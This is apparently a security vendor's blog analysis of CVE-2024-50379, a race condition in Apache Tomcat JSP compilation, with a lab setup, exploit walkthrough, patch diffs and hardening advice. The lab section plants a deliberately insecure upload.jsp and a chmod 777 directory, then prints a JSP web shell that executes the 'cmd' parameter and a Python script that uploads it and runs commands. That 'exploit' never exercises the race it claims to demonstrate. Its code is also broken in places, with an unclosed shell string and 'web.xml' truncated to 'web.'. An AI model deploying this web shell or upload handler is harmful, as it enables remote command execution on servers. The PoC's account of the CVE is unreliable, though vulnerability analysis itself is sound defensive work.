CVE-2024-50379: A Critical Vulnerability in Apache Tomcat

CVE-2024-28000: Analyzing the Critical Vulnerability in LiteSpeed Cache Plugin
March 18, 2025
Analysis of CVE-2025-1094: PostgreSQL 14.15 Vulnerability
CVE-2025-1094: PostgreSQL 14.15 Vulnerability Analysis
March 20, 2025

March 19, 2025

In today’s rapidly evolving digital environment, web servers like Apache Tomcat are essential tools for hosting dynamic web applications. However, their widespread use makes them a prime target for attackers looking to exploit vulnerabilities. Recently, CVE-2024-50379 was disclosed, revealing a critical vulnerability in Apache Tomcat that could allow an attacker to execute remote code. Understanding this vulnerability is important for system administrators, developers, and cybersecurity professionals who want to protect their systems.

What is CVE-2024-50379?

CVE-2024-50379 is a critical vulnerability affecting multiple versions of Apache Tomcat, an open source web server and servlet container widely used for deploying Java-based web applications. The vulnerability arises from a Time-of-Check to Time-of-Use (TOCTOU) race condition that occurs when compiling JavaServer Pages (JSPs).

When exploited, CVE-2024-50379 allows an attacker to overwrite or manipulate JSP files during a specific time period, leading to remote code execution (RCE). This is particularly dangerous on case-insensitive file systems with a default writable servlet configuration, which is common in systems like Windows.

  • Affected versions include:
  • Apache Tomcat 11.0.0-M1 to 11.0.1
  • Apache Tomcat 10.1.0-M1 to 10.1.33
  • Apache Tomcat 9.0.0.M1 to 9.0.97

What is a Time-of-Check to Time-of-Use (TOCTOU) Race Condition?

To understand CVE-2024-50379, it’s crucial to grasp the concept of a TOCTOU race condition. This vulnerability type occurs when a program checks the state of a resource (the “Time of Check”) and later acts on that resource (the “Time of Use”). If the resource’s state changes between these two events, it could lead to unexpected or malicious behavior.

TOCTOU in Apache Tomcat JSP Compilation:

JavaServer Pages (JSP) are server-side templates written in Java and HTML that Apache Tomcat compiles into Java servlets before execution. The process typically involves:

  1. Time of Check (TOC):
    • Tomcat verifies the existence, permissions, and integrity of a JSP file before proceeding with compilation.
  2. Time of Use (TOU):
    • After the checks, Tomcat compiles the JSP into a servlet and executes it.

The problem arises when an attacker manipulates the JSP file during the gap between the TOC and TOU. On case-insensitive file systems, such as those in Windows, filenames like example.jsp and Example.jsp are treated as the same. This can allow an attacker to replace a legitimate file with a malicious one during the TOC-TOU window, resulting in the compilation and execution of malicious code.

Why is this important?

The TOCTOU race condition in CVE-2024-50379 is particularly dangerous because:

  • It allows an attacker to execute arbitrary code, potentially taking control of the server.
  • The exploit relies on writable JSP directories, a poor configuration that is often overlooked by administrators.
  • It highlights the risks of relying on case-insensitive file systems, which are common in some environments.

Lab Setup for CVE-2024-50379 Exploitation

The process to set up a vulnerable Apache Tomcat environment for analyzing and exploiting CVE-2024-50379 is as follows:

Prepare the Environment

Ensure you have the following prerequisites in place:

  • – Operating System: Kali Linux or any Linux distribution.
    – Root access.
    – Basic tools installed (wget, curl, nano, git).
    – Python 3 installed with requests library:
     
      pip3 install requests

Install Apache Tomcat

Download and install the vulnerable version of Apache Tomcat (10.1.33):

1. Download Apache Tomcat 10.1.33:

wget https://archive.apache.org/dist/tomcat/tomcat-10/v10.1.33/bin/apache-tomcat-10.1.33.tar.gz

2. Extract the archive:

tar -xvzf apache-tomcat-10.1.33.tar.gz

3. Move the extracted directory to /opt/tomcat:

sudo mv apache-tomcat-10.1.33 /opt/tomcat

4. Verify the installation:

ls /opt/tomcat or visit http://localhost:8080

Configure Tomcat

To prepare Tomcat for exploitation, modify its configuration as follows:

Step 1: Modify web. for Writable Access

1. Open the web. file:

nano /opt/tomcat/conf/web.

2. Locate the <servlet-name>default</servlet-name> section and add the following:

<init-param>
    <param-name>readonly</param-name>
    <param-value>false</param-value>
</init-param>
<init-param>
    <param-name>listings</param-name>
    <param-value>true</param-value>
</init-param>

3. Save and exit the file.

Error Handling:

– If the file is missing or permission is denied:
  – Ensure the file exists:
   
    ls /opt/tomcat/conf/web.
   
  – Ensure appropriate permissions:
   
    sudo chmod 644 /opt/tomcat/conf/web.

Step 2: Create a Writable Directory

Create the /uploads directory:

mkdir -p /opt/tomcat/webapps/uploads
chmod 777 /opt/tomcat/webapps/uploads

Verify permissions:

ls -ld /opt/tomcat/webapps/uploads

Error Handling:

  • If mkdir fails, ensure the parent directory exists:

ls /opt/tomcat/webapps

Step 3: Add upload.jsp for File Handling

Create an upload.jsp file in /uploads:

nano /opt/tomcat/webapps/uploads/upload.jsp

Paste the following content:

<%@ page import="java.io.*, java.util.*" %>
<html>
<body>
<h1>File Upload</h1>
<%
    String savePath = application.getRealPath("/") + "uploads/";
    File uploadDir = new File(savePath);
    if (!uploadDir.exists()) {
        uploadDir.mkdir();
    }

    try {
        String contentType = request.getContentType();
        if ((contentType != null) && (contentType.indexOf("multipart/form-data") >= 0)) {
            DataInputStream in = new DataInputStream(request.getInputStream());
            int formDataLength = request.getContentLength();
            byte[] dataBytes = new byte[formDataLength];
            int bytesRead = in.read(dataBytes, 0, formDataLength);

            String file = new String(dataBytes);
            String saveFile = file.substring(file.indexOf("filename=\"") + 10);
            saveFile = saveFile.substring(0, saveFile.indexOf("\n"));
            saveFile = saveFile.substring(saveFile.lastIndexOf("\\") + 1, saveFile.indexOf("\""));
            int lastIndex = contentType.lastIndexOf("=");
            String boundary = contentType.substring(lastIndex + 1, contentType.length());
            int pos;
            pos = file.indexOf("filename=\"");
            pos = file.indexOf("\n", pos) + 1;
            pos = file.indexOf("\n", pos) + 1;
            pos = file.indexOf("\n", pos) + 1;

            int boundaryLocation = file.indexOf(boundary, pos) - 4;
            int startPos = ((file.substring(0, pos)).getBytes()).length;
            int endPos = ((file.substring(0, boundaryLocation)).getBytes()).length;

            File uploadedFile = new File(savePath + saveFile);
            FileOutputStream fileOut = new FileOutputStream(uploadedFile);
            fileOut.write(dataBytes, startPos, (endPos - startPos));
            fileOut.flush();
            fileOut.close();

            out.println("File " + saveFile + " has been uploaded successfully.");
        }
    } catch (Exception ex) {
        out.println("Error encountered: " + ex.getMessage());
    }
%>
</body>
</html>

Save and exit the file.

Step 4: Start Apache Tomcat

Start Tomcat:

/opt/tomcat/bin/startup.sh

Verify the server is running:

curl http://localhost:8080

Exploitation and PoC

Exploit Steps

The steps involved in exploiting CVE-2024-50379 are as follow.

1. Upload a Malicious JSP Shell

The exploit starts by uploading a malicious JSP shell file (shell.jsp) to the writable directory via theupload.jsp handler on the vulnerable Apache Tomcat server.

2. Access the Uploaded Shell

Once the shell is uploaded, it can be accessed via its URL, such as http://localhost:8080/uploads/uploads/shell.jsp. The shell enables remote command execution by appending the cmd parameter to the URL (e.g.,?cmd=<command>).

3. Execute Commands

HTTP requests with the cmd parameter are sent to the shell to execute arbitrary system commands. The server’s response contains the output of the executed commands.

4. Verify Exploitation

Successful exploitation is confirmed when the commands execute properly and their output is visible in the HTTP response.

Explanation of poc.py Script

The poc.py script automates the exploitation process. It uploads a malicious shell to the server and executes commands through it. Below is a detailed explanation of the script’s workflow.

Importing Required Modules

The script uses Python’s requests module to handle HTTP requests. It also uses the sys module to process command-line arguments.

import requests
import sys

Configurable Variables

The script defines variables to configure the target URL, shell name, and shell content. These variables control the behavior of the exploit.

TARGET_URL = "http://localhost:8080/uploads/upload.jsp"
SHELL_NAME = "shell.jsp"
SHELL_CONTENT = '''
<%@ page import="java.io.*" %>
<%
    if (request.getParameter("cmd") != null) {
        String cmd = request.getParameter("cmd");
        Process p = Runtime.getRuntime().exec(cmd);
        OutputStream os = p.getOutputStream();
        InputStream in = p.getInputStream();
        DataInputStream dis = new DataInputStream(in);
        String line;
        while ((line = dis.readLine()) != null) {
            out.println(line);
        }
    }
%>

Uploading the Shell

The upload shell function uploads the malicious shell to the server. It sends an HTTPPOST request to theupload.jsp endpoint with the shell file as the payload. 

def upload_shell():
    print("[+] Uploading JSP shell...")
    files = {'file': (SHELL_NAME, SHELL_CONTENT, 'application/octet-stream')}
    response = requests.post(TARGET_URL, files=files)
    if response.status_code == 200:
        print(f"[+] Shell uploaded successfully. Check the URL: {TARGET_URL.replace('upload.jsp', 'uploads/' + SHELL_NAME)}")
        return True
    else:
        print("[-] Failed to upload shell.")
        print(f"Response Code: {response.status_code}")
        print(f"Response Text: {response.text}")
        return False

Executing Commands

Theexecute_command function sends aGET request to the uploaded shell with thecmd parameter to execute a specified command.

def execute_command(command):
    shell_url = TARGET_URL.replace("upload.jsp", "uploads/" + SHELL_NAME)
    print(f"[+] Executing command: {command}")
    params = {'cmd': command}
    response = requests.get(shell_url, params=params)
    if response.status_code == 200:
        print("[+] Command output:")
        print(response.text)
    else:
        print("[-] Failed to execute command.")
        print(f"Response Code: {response.status_code}")
        print(f"Response Text: {response.text}")

Main Function

The main function validates user input, uploads the shell, and executes the specified command.

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: python3 poc.py <command>")
        sys.exit(1)

    command = sys.argv[1]
    if upload_shell():
        execute_command(command)

Find poc.py here —-🡪 https://github.com/Alchemist3dot14/CVE-2024-50379.git

Results:

Patch Diffing: How Apache Tomcat Fixed the CVE

Apache Tomcat’s team released multiple commits across versions 11.0.2, 10.1.34, and 9.0.98 to address CVE-2024-50379. By analyzing the patch, we can learn how the issue was fixed and identify best practices to secure similar systems.

Commit Overview

Here’s a list of the main commits that address the vulnerability:

  1. Commit 43b507e: Introduced locking mechanisms for consistent resource metadata.
  2. Commit 631500b: Ensured visibility of resource locks between threads.
  3. Commit 684247a: Refined locking to prevent race conditions during resource lock creation.
  4. Commit 8554f6b: Added a WebResourceLockSet for central lock management.
  5. Commit cc7a98b: Finalized metadata consistency fixes for FileResource.

Commit Analysis: Breaking Down the Patches

1. Commit 43b507e

  • Problem: Inconsistent FileResource metadata during concurrent GET (read) and PUT/DELETE (write) operations.
  • Fix: Introduced synchronized locking to ensure metadata consistency.
  • Code Change:
synchronized (this) {
    if (!file.exists()) {
        this.isFile = false;
        this.isDirectory = false;
    } else {
        this.isFile = file.isFile();
        this.isDirectory = file.isDirectory();
    }
}
  • Impact: Prevents corruption of metadata during simultaneous reads and writes.

2. Commit 631500b

  • Problem: Resource locks were not visible to other threads immediately after creation.
  • Fix: Ensured resource locks are added to the lockMap as soon as they are created.
  • Code Change:
public synchronized WebResourceLock getLock(String path) {
    WebResourceLock lock = lockMap.get(path);
    if (lock == null) {
        lock = new WebResourceLock();
        lockMap.put(path, lock); // Ensures immediate visibility
    }
    return lock;
}
  • Impact: Prevents race conditions by ensuring threads don’t create duplicate locks.

3. Commit 684247a

  • Problem: Multiple threads could attempt to create locks for the same resource simultaneously.
  • Fix: Simplified lock initialization using computeIfAbsent.
  • Code Change:
public synchronized WebResourceLock getLock(String path) {
    return lockMap.computeIfAbsent(path, k -> new WebResourceLock()); // Simplified initialization
}
  • Impact: Streamlined lock creation and ensured robustness against race conditions.

4. Commit 8554f6b

  • Problem: Distributed lock management across codebase caused inconsistencies.
  • Fix: Introduced WebResourceLockSet to centralize lock handling.
  • Code Change:
public class WebResourceLockSet {
    private final Map<String, WebResourceLock> lockMap = new ConcurrentHashMap<>();
    public WebResourceLock getLock(String path) {
        return lockMap.computeIfAbsent(path, k -> new WebResourceLock());
    }
}
  • Impact: Centralized lock management improved thread safety.

5. Commit cc7a98b

  • Problem: Metadata fields in FileResource were not fully synchronized.
  • Fix: Synchronized all metadata updates to ensure consistency during concurrent operations.
  • Code Change:
synchronized (this) {
    if (file.exists()) {
        this.isFile = file.isFile();
        this.isDirectory = file.isDirectory();
    } else {
        this.isFile = false;
        this.isDirectory = false;
    }
}
  • Impact: Resolved final edge cases for metadata corruption.

Visualizing the Changes with Patch Diffing

Using Git tools, we can visualize these changes as unified diffs:

  • Unified Diff for Commit 43b507e:
diff
- this.isFile = file.isFile();
- this.isDirectory = file.isDirectory();
+ synchronized (this) {
+     this.isFile = file.isFile();
+     this.isDirectory = file.isDirectory();
+ }
  • Unified Diff for Commit 631500b:
diff
+ WebResourceLock lock = lockMap.computeIfAbsent(path, k -> new WebResourceLock());

Securing Apache Tomcat from TOCTOU Exploitation

1. Upgrade to Patched Versions

The Apache Software Foundation has addressed this vulnerability in the following versions:

  • Apache Tomcat 11.0.2
  • Apache Tomcat 10.1.34
  • Apache Tomcat 9.0.98

Upgrading to these patched versions is the most effective way to eliminate the vulnerability. Follow these steps:

  1. Migrate any custom configurations or deployed applications to the new version.
  2. Visit the official Apache Tomcat website.
  3. Download the latest version for your deployment.
  4. Replace your current Tomcat installation with the updated version.

2. Secure Your File System

Writable directories and case-insensitive file systems increase the attack surface for TOCTOU vulnerabilities. Address these risks by taking the following steps:

  • Avoid Case-Insensitive File Systems:
    • If possible, use case-sensitive file systems like EXT4 on Linux instead of NTFS on Windows.
    • Case-insensitive systems allow filenames like example.jsp and Example.jsp to be treated as identical, enabling exploitation during the TOCTOU window.
  • Restrict Directory Permissions:
    • Ensure only necessary permissions are granted to directories and files, particularly those containing JSP files.
    • For instance, make default servlet directories read-only:

chmod -R 755 /opt/tomcat/webapps

3. Disable Writable Default Servlets

Writable default servlets are not enabled by default in Apache Tomcat, but inadvertent configuration changes might enable them. Disabling this feature eliminates one of the key attack vectors for CVE-2024-50379.

To disable writable default servlets:

  • Open the web. configuration file:

nano /opt/tomcat/conf/web.

  • Locate the <servlet-name>default</servlet-name> section and ensure the following configuration is set:
<init-param>
    <param-name>readonly</param-name>
    <param-value>true</param-value>
</init-param>

3. Save the file and restart Tomcat to apply the changes:

/opt/tomcat/bin/shutdown.sh

/opt/tomcat/bin/startup.sh

4. Implement Strong Access Controls

To further reduce the attack surface, implement strict access controls:

  • Use Firewalls and Reverse Proxies:
    • Restrict access to the Tomcat server to only trusted sources using tools like firewalls or reverse proxies (e.g., Nginx or Apache HTTP Server).
    • Block unnecessary access to default web applications and administrative endpoints.
  • Disable Unused Features:
    • Remove or disable any unused web applications, such as /examples or /manager.

5. Monitor and Detect Exploitation Attempts

Even with patches and secure configurations, monitoring your Tomcat server is critical to detect potential exploitation attempts:

  • Enable Detailed Logging:
    • Monitor access logs and the catalina.out log for unusual patterns, such as repeated upload attempts or access to unauthorized JSP files.
    • Example:

tail -f /opt/tomcat/logs/catalina.out

  • Use Intrusion Detection Systems (IDS):
    • Tools like OSSEC or Fail2Ban can detect and block suspicious activity, such as brute-force login attempts or malicious uploads.

6. Conduct Regular Audits

  • Configuration Audits:
    • Periodically review your Apache Tomcat configuration to ensure that permissions, writable directories, and other settings comply with security best practices.
  • Vulnerability Scans:
    • Use automated tools to scan for vulnerabilities and misconfigurations in your deployment.

7. Test and Validate the Fix

After applying the remedies, test your deployment to ensure the issue has been resolved:

  1. Verify that writable directories are disabled and cannot accept unauthorized uploads.
  2. Ensure that default servlets no longer allow file manipulations.
  3. Attempt to exploit the vulnerability in a controlled environment to validate the fix

Final Thoughts

The discovery and remediation of CVE-2024-50379 highlight the critical need for vigilance in securing widely used software like Apache Tomcat. This vulnerability demonstrates how seemingly minor configuration oversights, such as writable default servlets or reliance on case-insensitive file systems, can lead to severe consequences like remote code execution. The exploitation of TOCTOU race conditions serves as a reminder of the complexities of multi-threaded environments and the necessity of robust synchronization mechanisms in software design. Apache Tomcat’s prompt response and well-documented patches showcase the importance of proactive vulnerability management and collaboration between developers, administrators, and the security community. Ultimately, this incident reinforces the need for regular updates, secure configurations, and comprehensive monitoring to stay ahead of evolving threats in an increasingly interconnected digital world.

For expert guidance on vulnerability management and/or penetration testing services contact SecureLayer7 to leverage tailored solutions and stay ahead of evolving security risks.

References

  1. Apache Tomcat Official Website
    https://tomcat.apache.org/
  2. CVE-2024-50379 NVD Entry
    https://nvd.nist.gov/vuln/detail/CVE-2024-50379
  3. Apache Tomcat Security Pages:
  4. Apache Tomcat Archive:
    https://archive.apache.org/dist/tomcat/
  5. Apache Tomcat GitHub Repository:
    https://github.com/apache/tomcat
  6. Patch Commits Addressing CVE-2024-50379:
  7. GitHub Security Advisory on CVE-2024-50379:
    https://github.com/advisories/GHSA-5j33-cvvr-w245
  8. POC Repository for CVE-2024-50379:
    https://github.com/Alchemist3dot14/CVE-2024-50379.git

Discover more from SecureLayer7 - Offensive Security, API Scanner & Attack Surface Management

Subscribe now to keep reading and get access to the full archive.

Continue reading